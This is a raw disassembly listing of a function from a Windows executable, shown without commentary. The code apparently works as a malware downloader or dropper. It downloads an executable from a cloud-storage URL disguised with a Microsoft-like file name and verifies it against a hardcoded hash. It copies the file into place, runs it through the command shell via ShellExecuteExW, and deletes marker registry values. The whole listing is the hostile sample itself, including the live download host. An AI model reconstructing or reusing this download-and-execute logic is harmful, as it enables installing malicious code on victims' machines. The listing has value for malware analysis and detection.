call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea ecx, [ebp - 0x52b8]
call fcn.0040e3b0
jmp 0x412efb
lea eax, [ebp - 0x52bc]
push eax
push 2
push ebx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 0x52bc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.PLS_lolocckA
push ecx
call esi
mov edx, dword [ebp - 0x52bc]
push str.PLS_lolocckB
push edx
call esi
lea ecx, [ebp - 0x52b8]
call fcn.0040e3b0
jmp 0x412efb
lea eax, [esi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412efb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x412efb
push 0x3ff
xor edi, edi
lea ecx, [ebp - 0x1993]
push edi
push ecx
mov byte [ebp - 0x1994], 0
call fcn.00422ed0
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea edx, [ebp - 0x674]
push edx
push edi
push edi
call esi
push edi
push edi
push eax
lea eax, [ebp - 0x1994]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x674]
push ecx
push edi
push edi
call esi
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x1994]
push eax
call fcn.00411510
lea ecx, [ebp - 0x138c]
push ecx
lea edx, [ebp - 0x38]
push edx
call fcn.00422080
add esp, 0x10
test eax, eax
je 0x412bea
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
add eax, 0x10
mov dword [ebp - 0x52b8], eax
push str.http:__trjdfhdfufgbsdt.oss_accelerate_overseas.aliyuncs.com_MicrosoftFolderRedirectionWMIProvider.exe
push 0x43ea88
lea edi, [ebp - 0x52b8]
mov dword [ebp - 4], 2
call fcn.0040ec10
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
add esp, 8
push 0
call esi
mov edi, dword [ebp - 0x52b8]
push edi
call esi
push 0
push 0
lea eax, [ebp - 0x674]
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x412a5d
lea ecx, [ebp - 0x674]
push ecx
call ebx
cmp eax, 0xffffffff
jne 0x412a5d
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x52b8]
call fcn.0040e3b0
jmp 0x412efb
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x38]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x412c12
test dl, dl
je 0x412c0e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x412c12
add eax, 2
add ecx, 2
test dl, dl
jne 0x412bf2
xor eax, eax
jmp 0x412c17
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x412efb
lea edx, [ebp - 0x46c]
push edx
call ebx
cmp eax, 0xffffffff
jne 0x412c5a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x412c5a
push edi
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x412d36
jmp 0x412efb
push 0x3ff
lea edx, [ebp - 0xc7b]
push edi
push edx
mov byte [ebp - 0xc7c], 0
call fcn.00422ed0
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x46c]
push eax
push edi
push edi
call esi
push edi
push edi
push eax
lea ecx, [ebp - 0xc7c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x46c]
push edx
push edi
push edi
call esi
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0xc7c]
push ecx
call fcn.00411510
lea edx, [ebp - 0x138c]
push edx
lea eax, [ebp - 0x5c]
push eax
call fcn.00422080
add esp, 0x10
test eax, eax
je 0x412ce3
push edi
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x674]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x412d36
jmp 0x412efb
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x5c]
jmp 0x412cf0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x412d10
test dl, dl
je 0x412d0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x412d10
add eax, 2
add ecx, 2
test dl, dl
jne 0x412cf0
xor eax, eax
jmp 0x412d15
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x412d36
push edi
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x412efb
push 0x208
lea edx, [ebp - 0x108c]
push edi
push edx
call fcn.00422ed0
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x108c]
push str.__s___c___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x206
lea ecx, [ebp - 0x87a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x87c], ax
call fcn.00422ed0
add esp, 0x1c
push 0x206
lea eax, [ebp - 0x1592]
xor edx, edx
push edi
push eax
mov word [ebp - 0x1594], dx
call fcn.00422ed0
add esp, 0xc
push 0x206
lea edx, [ebp - 0xe82]
xor ecx, ecx
push edi
push edx
mov word [ebp - 0xe84], cx
call fcn.00422ed0
add esp, 0xc
push 0x208
lea eax, [ebp - 0x87c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea ecx, [ebp - 0x87c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x208
lea eax, [ebp - 0x1594]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str._c__
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea edx, [ebp - 0x108c]
push edx
lea eax, [ebp - 0xe84]
push eax
call esi
push 0x440420
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea ecx, [ebp - 0x52fc]
lea edx, [ebp - 0x1594]
lea eax, [ebp - 0xe84]
push ecx
mov dword [ebp - 0x52fc], 0x3c
mov dword [ebp - 0x52f4], edi
mov dword [ebp - 0x52f0], 0x440424
mov dword [ebp - 0x52ec], edx
mov dword [ebp - 0x52e8], eax
mov dword [ebp - 0x52e4], edi
mov dword [ebp - 0x52e0], edi
mov dword [ebp - 0x52f8], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x412ebf
mov edx, dword [ebp - 0x52c4]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
jmp 0x412efb
lea eax, [ebp - 0x52bc]
push eax
push 2
push edi
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 0x52bc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.PLS_lolocckA
push ecx
call esi
mov edx, dword [ebp - 0x52bc]
push str.PLS_lolocckB
push edx
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041fa5e
mov esp, ebp
pop ebp
ret